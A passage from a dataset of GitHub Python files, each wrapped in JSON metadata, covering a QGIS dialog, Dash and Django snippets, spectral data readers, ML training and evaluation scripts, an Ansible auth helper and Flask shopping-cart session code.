############################\n\n def __init__(self, parent=None):\n \"\"\"Constructor.\"\"\"\n super(NetworkTransformerDialog, self).__init__(parent)\n # Set up the user interface from Designer.\n # After setupUI you can access any designer object by doing\n # self., and you can use autoconnect slots - see\n # http://qt-project.org/doc/qt-4.8/designer-using-a-ui-file.html\n # #widgets-and-dialogs-with-auto-connect\n self.setupUi(self)\n\n # this turns on rotate,resize,rescale signals\n self.rotate_radio.toggled.connect(self.disable_button)\n self.resize_radio.toggled.connect(self.disable_button)\n self.rescale_radio.toggled.connect(self.disable_button)\n\n # rotate_button is checked for default\n self.rotate_radio.click()\n\n # define a series of get/set/update/disable function\n\n # update layer - fill combo with layer lists\n def update_layer(self, layer_objects):\n self.comboBox.clear()\n if layer_objects:\n for layer in layer_objects:\n self.comboBox.addItem(layer[0], layer[1])\n self.disable_all(False)\n self.disable_button()\n else:\n self.comboBox.addItem('No vector layer found.')\n self.disable_all(True)\n\n # get layer - retrieving the value of the current selected layer\n def get_layer(self):\n index = self.comboBox.currentIndex()\n layer = self.comboBox.itemData(index)\n return layer\n\n # get transformation - this will retrieve which transformation and value of transformation\n def get_transformation(self):\n transformation = 0\n value = 0\n if self.rotate_radio.isChecked():\n transformation = 1\n value = self.rotate_spinBox.value()\n elif self.resize_radio.isChecked():\n transformation = 2\n value = self.resize_spinBox.value()\n elif self.rescale_radio.isChecked():\n transformation = 3\n value = self.rescale_spinBox.value()\n return transformation, value\n\n # disable buttons - this disables the other transformation when one is checked.\n def disable_button(self):\n if self.rotate_radio.isChecked():\n self.rotate_spinBox.setEnabled(True)\n self.resize_spinBox.setEnabled(False)\n self.rescale_spinBox.setEnabled(False)\n elif self.resize_radio.isChecked():\n self.resize_spinBox.setEnabled(True)\n self.rotate_spinBox.setEnabled(False)\n self.rescale_spinBox.setEnabled(False)\n elif self.rescale_radio.isChecked():\n self.rescale_spinBox.setEnabled(True)\n self.rotate_spinBox.setEnabled(False)\n self.resize_spinBox.setEnabled(False)\n\n # disable all buttons if no layer is available\n def disable_all(self, onoff):\n self.rotate_radio.setDisabled(onoff)\n self.rotate_spinBox.setDisabled(onoff)\n self.resize_radio.setDisabled(onoff)\n self.resize_spinBox.setDisabled(onoff)\n self.rescale_radio.setDisabled(onoff)\n self.rescale_spinBox.setDisabled(onoff)\n self.run_button.setDisabled(onoff)\n","repo_name":"SpaceGroupUCL/qgisSpaceSyntaxToolkit","sub_path":"esstoolkit/gate_transformer/network_transformer_dialog.py","file_name":"network_transformer_dialog.py","file_ext":"py","file_size_in_byte":3498,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"11"} +{"seq_id":"74596300507","text":"def match_names(names):\n start = dict()\n end = dict()\n result = []\n first = 0\n\n for i in range(len(names)):\n name = names[i]\n start_letter = name[0].lower()\n end_letter = name[-1].lower()\n start[start_letter] = i\n end[end_letter] = i\n \n if start_letter not in end:\n first = i\n \n result.append(names[first])\n \n j = 1\n while j < len(start.keys()) - 1:\n last_letter = start[result[-1][-1]]\n result.append(names[last_letter])\n j += 1\n print(result)\n\nmatch_names([\"Raymond\", \"Louie\", \"Peter\", \"Esteban\", \"Nora\", \"Daniel\"])","repo_name":"dawand/interview-preparation","sub_path":"problems/match_names.py","file_name":"match_names.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"28358082361","text":"import dash\nimport feffery_utils_components as fuc\nfrom dash.dependencies import Input, Output\n\nfrom server import app\n\n\n@app.callback(\n Output('scroll-demo-output', 'children'),\n [Input('scroll-to-top-demo', 'nClicks'),\n Input('scroll-to-bottom-demo', 'nClicks'),\n Input('scroll-top-offset-demo', 'nClicks'),\n Input('scroll-relative-offset-demo', 'nClicks'),\n Input('scroll-target-demo', 'nClicks')],\n prevent_initial_call=True\n)\ndef scroll_demo(*args):\n\n # 基于dash的上下文功能获知当前回调由谁触发\n trigger_id = dash.ctx.triggered_id\n\n if trigger_id == 'scroll-to-top-demo':\n return fuc.FefferyScroll(\n executeScroll=True,\n scrollMode='to-top'\n )\n\n elif trigger_id == 'scroll-to-bottom-demo':\n return fuc.FefferyScroll(\n executeScroll=True,\n scrollMode='to-bottom'\n )\n\n elif trigger_id == 'scroll-top-offset-demo':\n return fuc.FefferyScroll(\n executeScroll=True,\n scrollMode='top-offset',\n scrollTopOffset=800\n )\n\n elif trigger_id == 'scroll-relative-offset-demo':\n return fuc.FefferyScroll(\n executeScroll=True,\n scrollMode='relative-offset',\n scrollRelativeOffset=300\n )\n\n elif trigger_id == 'scroll-target-demo':\n return fuc.FefferyScroll(\n executeScroll=True,\n scrollMode='target',\n scrollTargetId='scroll-target-element'\n )\n","repo_name":"CNFeffery/feffery-utils-docs","sub_path":"callbacks/FefferyScroll.py","file_name":"FefferyScroll.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"42544286947","text":"import numpy as np\nimport os\nfrom matplotlib.font_manager import FontProperties\nfrom scipy.ndimage.filters import gaussian_filter\n\n\nFONTSTYLE = 'serif'\nFONTSIZE = 12\nhfont = {'family':FONTSTYLE, 'fontsize': FONTSIZE}\nfontP = FontProperties()\nfontP.set_family(FONTSTYLE)\nfontP.set_size('small')\n\n\ndef wasi_oxygen(filename=os.path.dirname(os.path.realpath(__file__)) + '/WASI_database/O2.A'):\n data = np.genfromtxt(filename, skip_header=4)\n wave_nm = data[:,0]\n O2 = data[:,1]\n return wave_nm, O2\n\n\ndef wasi_e0(filename=os.path.dirname(os.path.realpath(__file__)) + '/WASI_database/E0_sun.txt'):\n data = np.genfromtxt(filename, skip_header=11)\n wave_nm = data[:,0]\n e0 = data[:,1]\n e0 = gaussian_filter(e0, 0.9)\n return wave_nm, e0\n\n\ndef wasi_wv(filename=os.path.dirname(os.path.realpath(__file__)) + '/WASI_database/WV.A'):\n data = np.genfromtxt(filename, skip_header=4)\n wave_nm = data[:,0]\n wv = data[:,1]\n return wave_nm, wv\n\n\ndef wasi_ozone(filename=os.path.dirname(os.path.realpath(__file__)) + '/WASI_database/O3.A'):\n data = np.genfromtxt(filename, skip_header=4)\n wave_nm = data[:,0]\n O3 = data[:,1]\n return wave_nm, O3\n\n\ndef get_wasi_parameters():\n params = {'o2': wasi_oxygen, 'o3': wasi_ozone, 'e0': wasi_e0, 'wv': wasi_wv}\n wasi_dict = dict()\n for key, value in params.items():\n wasi_dict[key] = dict()\n wasi_dict[key]['wave'], wasi_dict[key]['values'] = value()\n return wasi_dict\n\n\ndef get_wasi(wave):\n w_oz, oz = wasi_ozone()\n ozone = np.interp(wave, w_oz, oz)\n w_o2, o2 = wasi_oxygen()\n oxygen = np.interp(wave, w_o2, o2)\n w_wv, wv = wasi_wv()\n water = np.interp(wave, w_wv, wv)\n w_eo, eo = wasi_e0()\n solar = np.interp(wave, w_eo, eo)\n return ozone, oxygen, water, solar\n\n\ndef plot():\n import matplotlib.pyplot as plt\n wv_o2, o2 = wasi_oxygen()\n wv_e0, e0 = wasi_e0()\n wv_o3, o3 = wasi_ozone()\n wv_wv, wv = wasi_wv()\n plt.plot(wv_o2, o2, label=r'Oxygen $O^2$')\n plt.xlabel(\"Wavelength [nm]\", **hfont)\n plt.ylabel(r\"mean absorption coefficient $\\left[cm^{-1}\\right]$\", **hfont)\n plt.legend(loc='best', prop=fontP)\n plt.yscale('log')\n plt.show()\n plt.plot(wv_e0, e0)\n plt.xlabel(\"Wavelength [nm]\", **hfont)\n plt.ylabel(r\"mean extraterrestrial irradiance $H_0$ $\\left[\\frac{mW}{m^2\\cdot nm}\\right]$\", **hfont)\n plt.legend(loc='best', prop=fontP)\n plt.show()\n plt.plot(wv_o3, o3, label=r'Ozone $O^3$')\n plt.xlabel(\"Wavelength [nm]\", **hfont)\n plt.ylabel(r\"mean absorption coefficient $\\left[cm^{-1}\\right]$\", **hfont)\n plt.legend(loc='best', prop=fontP)\n plt.yscale('log')\n plt.show()\n plt.plot(wv_wv, wv, label=r'Water Vapor')\n plt.ylabel(r\"mean absorption coefficient $\\left[cm^{-1}\\right]$\", **hfont)\n plt.xlabel(\"Wavelength [nm]\", **hfont)\n plt.legend(loc='best', prop=fontP)\n plt.yscale('log')\n plt.show()\n\n\nif __name__ == \"__main__\":\n plot()\n get_wasi_parameters()\n","repo_name":"ZidCode/ibsen_eval","sub_path":"processing/wasi_reader.py","file_name":"wasi_reader.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"30110932093","text":"from django.urls import path, include\nfrom preentrega.views import *\n\nurlpatterns = [\n path('', index, name=\"index\"),\n path(\"estudiantes/\", estudiantes, name=\"estudiantes\"),\n path(\"profesores/\", profesores, name=\"profe\"),\n path(\"cursos/\", cursos, name=\"cursos\"),\n path(\"entregables/\", entregables, name=\"entregables\"),\n path(\"CursoFormulario/\", cursoFormulario, name=\"Agrega_curso\"),\n path(\"EntregableFormulario/\", entregableFormulario, name=\"Agrega_entregable\"),\n path(\"EstudianteFormulario/\", estudianteFormulario, name=\"Agrega_estudiante\"),\n path(\"ProfesorFormulario/\", profesorFormulario, name=\"Agrega_profesor\"),\n]","repo_name":"santiferz/Tercera_entrega","sub_path":"preentrega/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19724602689","text":"import pandas as pd\nimport sys\nfrom termcolor import colored\nfrom feature_engineering import feature_engineer\nfrom data_engineering import data_engineer\nfrom modelling import modelling\nfrom predict import predict\n\ndef read_file(file):\n data = pd.read_csv(file)\n return data\n\n\ndef main():\n \"\"\"\n Pipeline to training given file to predict Click Through Probability of a customer.\n \"\"\"\n filename = sys.argv[1]\n print(colored(\"########READING DATA########\",'blue'))\n data = read_file(filename)\n print(colored(\"########PERFORMING FEATURE ENGINEERING########\",'blue'))\n feature_engineered_data= feature_engineer(data)\n print(colored(\"########PERFORMING DATA ENGINEERING########\",'blue'))\n x_train_res, y_train_res, x_test, y_test = data_engineer(feature_engineered_data)\n print(colored(\"########PERFORMING DATA MODELLING########\",'blue'))\n model_file = modelling(x_train_res, y_train_res, x_test, y_test)\n sample_data = data.sample(3000)\n predict(sample_data,model_file)\n\n\n\nif __name__ == \"__main__\":\n global usage\n USAGE = \"\"\"\n Usage: python {prog_name} \"\n\n \"\"\".format(prog_name=sys.argv[0])\n\n if len(sys.argv) != 2:\n print(colored(USAGE,'red'))\n else:\n main()","repo_name":"akmenon1996/Clickthroughprediction","sub_path":"src/scripts/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20905765542","text":"from abc import ABC\nfrom socket import socket\nfrom messages import SendingMessage, RecievingMessage, MessageTypes\nfrom socket_manager import SocketManager\n\nclass StubBase(ABC):\n registry_ip = 'localhost'\n registry_port = 9090\n\n def __init__(self, ip, port) -> None:\n self.ip = ip\n self.port = port\n # self.lookup(\n # 'Test', \"1.0.0\")\n\n def lookup(self, class_name, class_version):\n findin_options = {\n 'class_name': class_name,\n 'class_version': class_version\n }\n\n sm = SocketManager(self.registry_ip, self.registry_port)\n sm.connect()\n response = sm.send_message_and_get_response(findin_options, MessageTypes.FIND_SERVER, 200)\n sm.close()\n\n if response.status_code == 200:\n self.skeleton_info = {\n 'ip': response.msg['ip'],\n 'port': response.msg['port'],\n 'class_name': response.msg['class_name'],\n 'class_version': response.msg['class_version'],\n }\n else:\n self.skeleton_info = None\n print(self.skeleton_info['ip'], self.skeleton_info['port'])\n return response\n","repo_name":"SobhanKiani/python-rmi-exercise","sub_path":"client/stub_base.py","file_name":"stub_base.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35726915118","text":"from unicorn.data import get_unicorn_datadir\nfrom unicorn.data.datasets import MOTDataset\nimport os\nimport json\nimport argparse\n\ndef parse_args():\n \"\"\"\n args for training.\n \"\"\"\n parser = argparse.ArgumentParser(description='Parse args for training')\n # for train\n parser.add_argument('--dataset_name', type=str, default=\"mot\")\n parser.add_argument('--ori_json_file', type=str, default=\"train.json\")\n parser.add_argument('--new_json_file', type=str, default=\"train_omni.json\")\n\n args = parser.parse_args()\n\n return args\n\nif __name__ == \"__main__\":\n args = parse_args()\n dataset_name = args.dataset_name\n ori_json_file = args.ori_json_file\n new_json_file = args.new_json_file\n data_dir = os.path.join(get_unicorn_datadir(), dataset_name)\n save_path = os.path.join(data_dir, \"annotations\", new_json_file)\n dataset = MOTDataset(data_dir=data_dir, json_file=ori_json_file)\n omni_json = {}\n for (res, img_info, file_name) in dataset.annotations:\n (height, width, frame_id, video_id, file_name) = img_info\n if video_id not in omni_json:\n omni_json[video_id] = {}\n omni_json[video_id][frame_id] = {\"res\": res.tolist(), \"img_info\": img_info, \"file_name\": file_name}\n json.dump(omni_json, open(save_path, \"w\"))\n","repo_name":"MasterBin-IIAU/Unicorn","sub_path":"tools/convert_mot17_to_omni.py","file_name":"convert_mot17_to_omni.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":924,"dataset":"github-code","pt":"11"} +{"seq_id":"73489591388","text":"_ = f\"If you see this message in SyntaxError, you are using an older Python environment (>=3.8 required)\"\nimport torch\n\ntorch.backends.cudnn.benchmark = True\n\nimport numpy as np\nimport tqdm\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \nimport logging\nlogging.basicConfig(format='[%(asctime)s] %(name)s: %(message)s', level=logging.INFO)\nimport importlib\nfrom collections import defaultdict\n\nfrom utils import dataset, utils\nfrom utils.evaluator import mAP_evaluator\nimport random\n\n\ndef main():\n logger = logging.getLogger('MAIN')\n\n # read cmd args\n args = utils.parse_ocrn_args()\n utils.display_args(args, logger)\n network_module = importlib.import_module('models.' + args.network)\n\n # set seed\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n random.seed(args.seed)\n\n logger.info(\"Loading dataset\")\n\n feature_dir = f\"features/OCL_{args.backbone_type}\"\n test_dataloader = dataset.get_dataloader(\n 'valtest', args.data_type, feature_dir,\n batchsize=args.bz, num_workers=args.num_workers)\n\n logger.info(\"Loading network and optimizer\")\n model = network_module.Model(test_dataloader.dataset, args)\n assert torch.cuda.device_count() == 1\n\n model = model.to(args.device)\n print(model)\n\n # initialization (model weight, optimizer, lr_scheduler, clear logs)\n\n model, checkpoint = utils.initialize_model(model, args)\n init_epoch = checkpoint[\"epoch\"] if checkpoint is not None else 0\n\n\n # trainval\n logger.info('Start evaluating')\n logger.info('Origin result')\n \n current_reports, current_scores = test_epoch(model, test_dataloader, init_epoch, args) # [num_att]\n\n\n\n\n\n@torch.no_grad()\ndef test_epoch(model, dataloader, epoch, args):\n all_gt = defaultdict(list)\n all_pred = defaultdict(list)\n val_mask = []\n\n for _, batch in tqdm.tqdm(enumerate(dataloader), total=len(dataloader), postfix='Test %d' % epoch, ncols=75,\n leave=False):\n\n feed_batch = utils.batch_to_device({\n \"image\": batch[\"image\"],\n \"gt_attr\": batch[\"gt_attr\"],\n \"gt_aff\": batch[\"gt_aff\"],\n \"gt_obj_id\": batch[\"gt_obj_id\"],\n \"main_bbox\": batch.get(\"main_bbox\", None),\n }, args.device)\n preds = model(feed_batch, require_loss=False)\n for k, v in preds.items():\n all_pred[k].append(v.detach().cpu())\n\n for key in ['gt_attr', 'gt_aff', 'gt_obj_id', 'val_mask']:\n if isinstance(batch[key], list):\n batch[key] = torch.cat(batch[key], 0)\n\n all_gt['attr'].append(batch['gt_attr'])\n all_gt['aff'].append(batch['gt_aff'])\n all_gt['obj'].append(batch['gt_obj_id'])\n val_mask.append(batch['val_mask'])\n\n all_gt = {k: torch.cat(v, 0).numpy() for k, v in all_gt.items()}\n all_pred = {k: torch.cat(v, 0).numpy() for k, v in all_pred.items()}\n val_mask = torch.cat(val_mask, 0).numpy()\n\n val_res = evaluate_joint(all_gt, all_pred, val_mask)\n test_res = evaluate_joint(all_gt, all_pred, ~val_mask)\n results = [val_res, test_res]\n name_prefix = ['val_', 'test_']\n\n all_reports = {}\n for name in all_pred:\n # additional eval scores\n report_dict = {\n 'epoch': epoch,\n }\n\n for res, pref in zip(results, name_prefix):\n for key, value in res[name].items():\n report_dict[pref + key] = value\n\n all_reports[name] = report_dict\n\n for key, value in all_reports.items():\n utils.color_print(f\"{args.name} {key}\" + utils.formated_ocl_result(value))\n \n after_pred = {k: v.mean(0) for k, v in all_pred.items()}\n return after_pred, all_reports\n\n\ndef evaluate_joint(all_gt, all_pred, instance_mask, return_vec=False):\n report = {}\n if instance_mask is not None:\n all_gt = {k: v[instance_mask, ...] for k, v in all_gt.items()}\n all_pred = {k: v[instance_mask, ...] for k, v in all_pred.items()}\n\n for name, pred in all_pred.items():\n # print(name)\n report_dict = None\n\n if name.startswith('obj'):\n # evaluate obj\n pred = np.argmax(pred, axis=1) # pred obj id\n assert pred.shape == all_gt[\"obj\"].shape\n acc = np.mean(pred == all_gt[\"obj\"])\n\n report_dict = {\n 'ACC': acc\n }\n\n elif name.startswith(\"aff\"):\n report_dict = {\n 'mAP': mAP_evaluator(pred, all_gt[\"aff\"]),\n }\n\n elif name.startswith(\"attr\"):\n report_dict = {\n 'mAP': mAP_evaluator(pred, all_gt[\"attr\"], return_vec=return_vec),\n }\n else:\n raise NotImplementedError()\n\n report[name] = report_dict\n\n return report\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"silicx/ObjectConceptLearning","sub_path":"test_ocl.py","file_name":"test_ocl.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"11"} +{"seq_id":"7692929398","text":"G1=[[0,1,0,0],[1,0,1,1],[0,1,0,1],[0,1,1,0]]\r\n\r\nimport glob\r\n\r\nclass Node:\r\n def __init__(self):\r\n self.next=None\r\n self.val=None\r\n\r\nclass Stack3:\r\n def __init__(self):\r\n self.top=Node()\r\n\r\n def push(self,x):\r\n N=Node()\r\n N.val=x\r\n N.next=self.top.next\r\n self.top.next=N\r\n\r\n def pop(self):\r\n N=self.top.next\r\n self.top.next=N.next\r\n return N.val\r\n\r\n def is_empty(self):\r\n return self.top.next==None\r\n\r\n\r\ndef print_node(S):\r\n\tif S.top.next==None: return\r\n\tv=S.top\r\n\r\n\twhile v.next!=None:\r\n\t\tprint(v.next.val)\r\n\t\tv=v.next\r\n\r\nclass V:\r\n\tdef __init__(self,i):\r\n\t\tself.i=i\r\n\t\tself.parent=None\r\n\t\tself.visted=False\r\n\t\tself.entry=None\r\n\t\tself.process=None\r\n\r\ndef DFS(G):\r\n\tglobal f\r\n\tf=False\r\n\r\n\tdef DFS_F(G,u,v):\r\n\t\tglobal f\r\n\t\tfor k in G[v]:\r\n\t\t\tif T[k].visted==False:\r\n\t\t\t\tif u.i in G[k]:\r\n\t\t\t\t\tf=True\r\n\t\t\t\t\treturn f\r\n\t\t\t\tT[k].visted=True\r\n\t\t\t\tDFS_F(G,u,k)\t\t\r\n\t\treturn f\r\n\r\n\tT=[None]*len(G)\r\n\tfor i in range(len(G)): T[i]=V(i)\r\n\t\r\n\tfor k in range(len(G)):\r\n\t\tfor i in range(k,len(G)): T[i].visted=False\r\n\t\tT[k].visted=True\r\n\t\t#znajdujemy w sąsiednim wierzchołku wierzchołek który nie był jeszcze odwiedzony, mp. k=0 w sąsiadach k jest 1, a z 1 mozemy isc do 0-true i 2-false=> idziemy do 2\r\n\t\tp=0\r\n\t\tfor t in G[k]:\r\n\t\t\tif p==0:\r\n\t\t\t\tif T[t].visted==False:\r\n\t\t\t\t\tp=t\r\n\t\t\t\t\tT[t].visted=True\r\n\t\tDFS_F(G,T[k],p)\r\n\t\tif f: return f\t\t\r\n\treturn f #False\r\n\r\n\r\nG = [[1],[0,2],[1,3],[1,2]]\r\nprint(DFS(G))\r\n\r\n","repo_name":"mpyrek/ASD","sub_path":"lab 7/cyclic_graph.py","file_name":"cyclic_graph.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25714568163","text":"from api.models import User, Host\n\nfrom api.extras.exceptions import AnsibleException\n\nclass AnsibleAuth(object):\n\n def __init__(self, apikey):\n\n if self._apikeyexist(apikey):\n self.apikey = apikey\n\n def isauthorized(self, host):\n\n if host in self._gethosts():\n return True\n else:\n return False\n\n def getusername(self):\n user = User.objects.get(apikey=self.apikey)\n return user.user\n\n def _gethosts(self):\n user = User.objects.filter(apikey=self.apikey)\n hosts = Host.objects.filter(user__in=user)\n\n myhost = []\n\n for host in hosts:\n myhost.append(host.host)\n\n myhost\n return myhost\n\n def _apikeyexist(self, apikey):\n\n if User.objects.filter(apikey=apikey):\n return True\n else:\n raise AnsibleException('APIKEY does not exist', error=401)\n","repo_name":"MqllR/ansibleapi","sub_path":"app/api/extras/ansibleauth.py","file_name":"ansibleauth.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"764602963","text":"class QueueNode(object):\n\n def __init__(self, value, nxt, prev):\n self.value = value\n self.next = nxt\n self.prev = prev\n\n def __repr__(self):\n nval = self.next and self.next.value or None\n pval = self.prev and self.prev.value or None\n return f\"[{self.value}, {repr(nval)}, {repr(pval)}]\"\n\nclass Queue(object):\n\n def __init__(self):\n self.head = None\n self.tail = None\n\n def shift(self, obj):\n if self.tail is None and self.head is None:\n self.head = QueueNode(obj, None, None)\n self.tail = self.head\n elif self.head == self.tail and self.tail.value != obj:\n self.tail = QueueNode(obj, None, self.head)\n self.head.next = self.tail\n else:\n self.tail.next = QueueNode(obj, None, self.tail)\n self.tail = self.tail.next\n\n def unshift(self):\n if self.head is None:\n return None\n elif self.tail is None :\n return self.head.value\n else:\n temp = self.head\n self.head = self.head.next\n return temp.value\n\n def first(self):\n return self.head\n\n def last(self):\n return self.tail\n\n def count(self):\n counter = 0\n temp = self.head\n while True:\n if temp is None:\n return counter\n else:\n counter += 1\n temp = temp.next\n","repo_name":"Vavadimir/DataStructures","sub_path":"Queue.py","file_name":"Queue.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"7480812137","text":"from tensorflow import keras\nimport tensorflow as tf\nimport cv2\nimport numpy as np\nfrom .generators import PoseDataGenerator\nfrom datetime import datetime\n\nclass Display:\n def __init__(self, maxsize, time):\n self.maxsize = maxsize\n self.time = time\n self.mode = True\n self.writers = {}\n\n def getimage(self, image):\n size_ratio = self.maxsize / max(image.shape[0], image.shape[1])\n new_size = int(image.shape[1] * size_ratio), int(image.shape[0] * size_ratio)\n return cv2.resize(image, new_size)\n\n def show(self, image, name, time=None):\n if not self.mode:\n return\n\n time = time if time is not None else self.time\n cv2.imshow(name, self.getimage(image))\n cv2.waitKey(time)\n return 0\n\n def save(self, image, name):\n image = self.getimage(image)\n if name not in self.writers:\n writer = cv2.VideoWriter(name,\n cv2.VideoWriter_fourcc('M','J','P','G'),\n 30, (image.shape[1], image.shape[0]))\n self.writers[name] = writer\n\n self.writers[name].write(image)\n\n def off(self):\n self.mode = False\n\n def on(self):\n self.mode = True\n\nclass DisplayCallback(keras.callbacks.Callback):\n \"\"\"\n Callback adds a opencv display window, and displays results of model inference\n samples : samples of batch to run inference on\n d_size : size of display,\n d_time : opencv sleep time after displaying\n frequency : display will run after every 'frequency' number of epochs\n \"\"\"\n\n def __init__(self, val_data, d_size=600, d_time=1, frequency=1, num_samples=4):\n super().__init__()\n self.num_samples = num_samples\n self.val_data = val_data\n self.sample_index = 0\n self.samples = self.val_data.sample(self.sample_index)\n self.display = Display(d_size, d_time)\n self.display.on()\n self.callcount = 0\n self.frequency = frequency\n self.tb_writer = self.get_tb_writer()\n\n def get_tb_writer(self):\n logdir = \"logs/image/\" + datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n file_writer_cm = tf.summary.create_file_writer(logdir + '/cm')\n return file_writer_cm\n\n def tb_write(self, img, step):\n with self.tb_writer.as_default():\n tf.summary.image(\"Training data\", img, step=step)\n\n def draw_pose(self, image, keypoints, color=(255, 255, 255), radius=5):\n for keypoint in keypoints:\n x, y, s = keypoint\n cv2.circle(image, (x, y), radius, color, -1)\n return image\n\n def draw(self, number):\n outimages = []\n images, masks = self.samples\n for index in range(self.num_samples):\n image, mask = images[index], masks[index]\n pred_mask = self.model.predict(np.expand_dims((image), axis=0))[0]\n\n image = (image + 1) * 127.5\n image = image.astype(np.uint8)\n width, height = image.shape[0], image.shape[1]\n\n mask_sum = np.sum(pred_mask, axis=-1)\n mask_sum = mask_sum / np.max(mask_sum)\n mask_sum = mask_sum.astype(np.float32)\n\n mask_sum = mask_sum * 255\n mask_sum = cv2.cvtColor(mask_sum, cv2.COLOR_GRAY2RGB)\n mask_sum = cv2.resize(mask_sum, image.shape[:2])\n\n # print(\"Predicted\")\n pred_keypoints = PoseDataGenerator.get_keypoints_from_mask(pred_mask, width, height)\n # print(\"Original\")\n orig_keypoints = PoseDataGenerator.get_keypoints_from_mask(mask, width, height)\n\n # print(\"Results..\")\n # print(\"Predicted\", pred_keypoints)\n # print(\"Original\", orig_keypoints)\n\n orig_img = cv2.resize(image, image.shape[:2])\n\n mask = self.draw_pose(orig_img, orig_keypoints)\n pred_mask = self.draw_pose(orig_img, pred_keypoints, color=(0, 255, 0), radius=4)\n\n pred_mask = cv2.resize(pred_mask, image.shape[:2])\n mask = cv2.resize(mask, image.shape[:2])\n\n outimage = np.hstack((pred_mask, mask_sum))\n outimage = cv2.cvtColor(outimage, cv2.COLOR_BGR2RGB)\n outimage = np.asarray(outimage, dtype=np.uint8)\n outimages.append(outimage)\n\n outimage = np.vstack(outimages)\n outimage = np.expand_dims(outimage, 0)\n #cv2.putText(outimage, str(number), (100, 100), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n #self.display.show(outimage, \"zorro\")\n self.tb_write(outimage, number)\n\n def on_epoch_end(self, epoch, logs=None):\n self.draw(epoch)\n\ndef lr_schedule():\n def lrs(epoch):\n if epoch < 10:\n return 0.001\n if epoch < 20:\n return 0.0001\n if epoch < 30:\n return 0.00001\n else:\n return 0.00001\n\n return keras.callbacks.LearningRateScheduler(lrs, verbose=True)\n\ndef checkpoint(filepath):\n return keras.callbacks.ModelCheckpoint(filepath=filepath,\n monitor='val_loss',\n save_best_only=False,\n verbose=1)\n\n\ndef tensorboard():\n logdir = \"logs/scalars/\" + datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n tensorboard_callback = keras.callbacks.TensorBoard(log_dir=logdir)\n return tensorboard_callback\n","repo_name":"4g/pose_estimation","sub_path":"src/callbacks.py","file_name":"callbacks.py","file_ext":"py","file_size_in_byte":5407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8281014506","text":"from functools import wraps\r\nfrom flask import session, redirect\r\n\r\nfrom database import ecommerce_db as db\r\n\r\ndef login_required(f):\r\n\t@wraps(f)\r\n\tdef wrap(*args, **kwargs):\r\n\t\tif 'logged_in' in session:\r\n\t\t\tif session['logged_in'] == True:\r\n\t\t\t\treturn f(*args, **kwargs)\r\n\t\t\treturn redirect('/login')\r\n\t\telse:\r\n\t\t\treturn redirect('/login')\r\n\treturn wrap\r\n\r\ndef login_classifier():\r\n\tif 'username' in session:\r\n\t\treturn session['username']\r\n\telse:\r\n\t\treturn None\r\n\r\ndef cart():#count of cart and total of cart\r\n\tif login_classifier():\r\n\t\tif 'cart_items' in session:\r\n\t\t\tcart_count = 0\r\n\t\t\tcart_total = 0\r\n\t\t\tfor x in session['cart_items']:\r\n\t\t\t\tif login_classifier() == x['username']:\r\n\t\t\t\t\tcart_count += 1 \r\n\t\t\t\t\tcart_total += int(x['total_price'])\r\n\t\t\treturn [cart_count, cart_total]\r\n\t\treturn [0, 0]\r\n\telse:\r\n\t\treturn [0, 0]\r\n\r\ndef cart_classifier():#get user's cart\r\n\tcurrent_cart = []\r\n\tif login_classifier():\r\n\t\tif 'cart_items' in session:\r\n\t\t\tfor items in session['cart_items']:\r\n\t\t\t\tif login_classifier() == items['username']:\r\n\t\t\t\t\tcurrent_cart.append({ 'distributor_id':items['distributor_id'],'username': login_classifier(), 'product_id': items['product_id'], 'product_name' : items['product_name'], 'price': items['price'], 'total_price': items['total_price'], 'qty': items['qty'], 'img': items['img'] },)\r\n\t\t\treturn current_cart\r\n\t\treturn None\r\n\treturn None\r\n\r\n#if user login/logout it will redirect to the current brower/url\r\ndef set_current_path(path):\r\n\tif 'current_path' in session:\r\n\t\tsession['current_path'] = path\r\n\t\tsession.modified = True\r\n\telse:\r\n\t\tsession['current_path'] = path\r\n\r\ndef get_current_path():\r\n\tif 'current_path' in session:\r\n\t\treturn session['current_path']\r\n\telse:\r\n\t\treturn 'index'\r\n\r\n#set the region selection in the places/shop page\r\ndef set_get_region():\r\n\tregion = ''\r\n\tif 'region' in session:\r\n\t\tregion = session['region']\r\n\tr1=''\r\n\tr2=''\r\n\tr3=''\r\n\tr4=''\r\n\tr5=''\r\n\tr6=''\r\n\tr7=''\r\n\tr8=''\r\n\tr9=''\r\n\tr10=''\r\n\tr11=''\r\n\tr12=''\r\n\tr13=''\r\n\tr14=''\r\n\tr15=''\r\n\tr16=''\r\n\tif region == 'REGION I (ILOCOS 